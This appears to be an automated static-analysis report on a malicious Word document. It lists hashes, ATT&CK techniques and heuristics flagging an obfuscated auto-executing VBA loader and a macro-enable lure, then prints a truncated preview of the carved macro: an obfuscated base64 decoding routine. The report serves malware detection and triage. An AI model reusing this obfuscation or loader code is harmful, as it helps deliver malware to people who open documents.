Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d9ef96854d0fc24d…

MALICIOUS

Office (OLE)

85.0 KB Created: 2018-04-24 04:15:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 72e2245bfb2b05a2cb51e96a368da069 SHA-1: 10643e9c16b9983b0076c13cadcb004de065c9bd SHA-256: d9ef96854d0fc24dd77df15018d7f87ac6075a91cef09298587c73029c776873
304 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Decode Files or Information

The sample contains a critical heuristic for an obfuscated auto-exec VBA loader, specifically an AutoOpen macro that uses CreateObject and Shell execution. This indicates the macro is designed to run malicious code upon opening the document. The VBA macro 'macros.bas' is the primary artifact, likely responsible for downloading and executing a secondary payload.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6515681-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6515681-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8253 bytes
SHA-256: 7b5e7e7a4cf7a6aee6a379c7086fa0af28dc1af5669412730b97bff9ce90f9ce
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Ri8che"

Public Function UdvRaFOgs244JZ9Y(vgqKXOgPcNFS68e As String, Optional THREE As Boolean = True) As String
Static emT5TA7VOkO4Fl(0 To 255) As Byte
Dim qaRFrXL3m3lH() As Byte, hpZGyyC80wypsRq() As Byte
Dim haLwJL0c3CYT4thdQ0 As Long, UOQ8IrK5aK7fyM95 As Long
If emT5TA7VOkO4Fl(Chr(Tan(CDbl(1.54996600675868)))) = Chr(Tan(CDbl(1.54996600675868))) Then
For haLwJL0c3CYT4thdQ0 = Chr(Tan(CDbl(1.54996600675868))) To 255
emT5TA7VOkO4Fl(haLwJL0c3CYT4thdQ0) = 255
Next haLwJL0c3CYT4thdQ0
For haLwJL0c3CYT4thdQ0 = Chr(Tan(CDbl(1.54996600675868))) To 25
emT5TA7VOkO4Fl(haLwJL0c3CYT4thdQ0 + 65) = haLwJL0c3CYT4thdQ0
Next haLwJL0c3CYT4thdQ0
For haLwJL0c3CYT4thdQ0 = 26 To 51
emT5TA7VOkO4Fl(haLwJL0c3CYT4thdQ0 + 71) = haLwJL0c3CYT4thdQ0
Next haLwJL0c3CYT4thdQ0
For haLwJL0c3CYT4thdQ0 = 52 To 61
emT5TA7VOkO4Fl(haLwJL0c3CYT4thdQ0 - Chr(Tan(CDbl(1.55156792769519)))) = haLwJL0c3CYT4thdQ0
Next haLwJL0c3CYT4thdQ0
emT5TA7VOkO4Fl(43) = 62
emT5TA7VOkO4Fl(47) = 63
End If
If vgqKXOgPcNFS68e = "" Then Exit Function
vgqKXOgPcNFS68e = Trim(vgqKXOgPcNFS68e)
If THREE Then
For haLwJL0c3CYT4thdQ0 = Chr(Tan(CDbl(1.54996600675868))) To 255
If Not (Chr(haLwJL0c3CYT4thdQ0) Like "[A-Za-z0-9+/=]") Then
vgqKXOgPcNFS68e = Replace(vgqKXOgPcNFS68e, Chr(haLwJL0c3CYT4thdQ0), "")
End If
Next haLwJL0c3CYT4thdQ0
End If
hpZGyyC80wypsRq() = StrConv(vgqKXOgPcNFS68e, vbFromUnicode)
ReDim qaRFrXL3m3lH(Chr(Tan(CDbl(1.54996600675868))) To ((Len(vgqKXOgPcNFS68e) \ Chr(Tan(CDbl(1.55156792769519)))) * Chr(Tan(CDbl(1.55119099593769))) - 1))
For haLwJL0c3CYT4thdQ0 = Chr(Tan(CDbl(1.54996600675868))) To Len(vgqKXOgPcNFS68e) \ Chr(Tan(CDbl(1.55156792769519))) - Chr(Tan(CDbl(1.55079899282175)))
UOQ8IrK5aK7fyM95 = emT5TA7VOkO4Fl(hpZGyyC80wypsRq(haLwJL0c3CYT4thdQ0 * Chr(Tan(CDbl(1.55156792769519))) + Chr(Tan(CDbl(1.55119099593769)))))
UOQ8IrK5aK7fyM95 = UOQ8IrK5aK7fyM95 Or (emT5TA7VOkO4Fl(hpZGyyC80wypsRq(haLwJL0c3CYT4thdQ0 * Chr(Tan(CDbl(1.55156792769519))) + Chr(Tan(CDbl(1.55079899282175))))) * &H40&)
UOQ8IrK5aK7fyM95 = UOQ8IrK5aK7fyM95 Or (emT5TA7VOkO4Fl(hpZGyyC80wypsRq(haLwJL0c3CYT4thdQ0 * Chr(Tan(CDbl(1.55156792769519))) + Chr(Tan(CDbl(1.55039099610836))))) * &H1000&)
UOQ8IrK5aK7fyM95 = UOQ8IrK5aK7fyM95 Or (emT5TA7VOkO4Fl(hpZGyyC80wypsRq(haLwJL0c3CYT4thdQ0 * Chr(Tan(CDbl(1.55156792769519))) + Chr(Tan(CDbl(1.54996600675868))))) * &H40000)
qaRFrXL3m3lH(haLwJL0c3CYT4thdQ0 * Chr(Tan(CDbl(1.55119099593769))) + Chr(Tan(CDbl(1.54996600675868)))) = (UOQ8IrK5aK7fyM95 And &HFF0000) \ &H10000
qaRFrXL3m3lH(haLwJL0c3CYT4thdQ0 * Chr(Tan(CDbl(1.55119099593769))) + Chr(Tan(CDbl(1.55039099610836)))) = (UOQ8IrK5aK7fyM95 And &HFF00&) \ &H100&
qaRFrXL3m3lH(haLwJL0c3CYT4thdQ0 * Chr(Tan(CDbl(1.55119099593769))) + Chr(Tan(CDbl(1.55079899282175)))) = UOQ8IrK5aK7fyM95 And &HFF&
Next haLwJL0c3CYT4thdQ0
UOQ8IrK5aK7fyM95 = Chr(Tan(CDbl(1.54996600675868)))
If emT5TA7VOkO4Fl(hpZGyyC80wypsRq(haLwJL0c3CYT4thdQ0 * Chr(Tan(CDbl(1.55156792769519))) + Chr(Tan(CDbl(1.55119099593769))))) <> 255 Then UOQ8IrK5aK7fyM95 = emT5TA7VOkO4Fl(hpZGyyC80wypsRq(haLwJL0c3CYT4thdQ0 * Chr(Tan(CDbl(1.55156792769519))) + 3))
If emT5TA7VOkO4Fl(hpZGyyC80wypsRq(haLwJL0c3CYT4thdQ0 * Chr(Tan(CDbl(1.55156792769519))) + Chr(Tan(CDbl(1.55079899282175))))) <> 255 Then UOQ8IrK5aK7fyM95 = UOQ8IrK5aK7fyM95 Or (emT5TA7VOkO4Fl(hpZGyyC80wypsRq(haLwJL0c3CYT4thdQ0 * 4 + 2)) * &H40&)
If emT5TA7VOkO4Fl(hpZGyyC80wypsRq(haLwJL0c3CYT4thdQ0 * Chr(Tan(CDbl(1.55156792769519))) + Chr(Tan(CDbl(1.55039099610836))))) <> 255 Then UOQ8IrK5aK7fyM95 = UOQ8IrK5aK7fyM95 Or (emT5TA7VOkO4Fl(hpZGyyC80wypsRq(haLwJL0c3CYT4thdQ0 * 4 + 1)) * &H1000&)
If emT5TA7VOkO4Fl(hpZGyyC80wypsRq(haLwJL0c3CYT4thdQ0 * Chr(Tan(CDbl(1.55156792769519))) + Chr(Tan(CDbl(1.54996600675868))))) <> 255 Then UOQ8IrK5aK7fyM95 = UOQ8IrK5aK7fyM95 Or (emT5TA7VOk
... (truncated)

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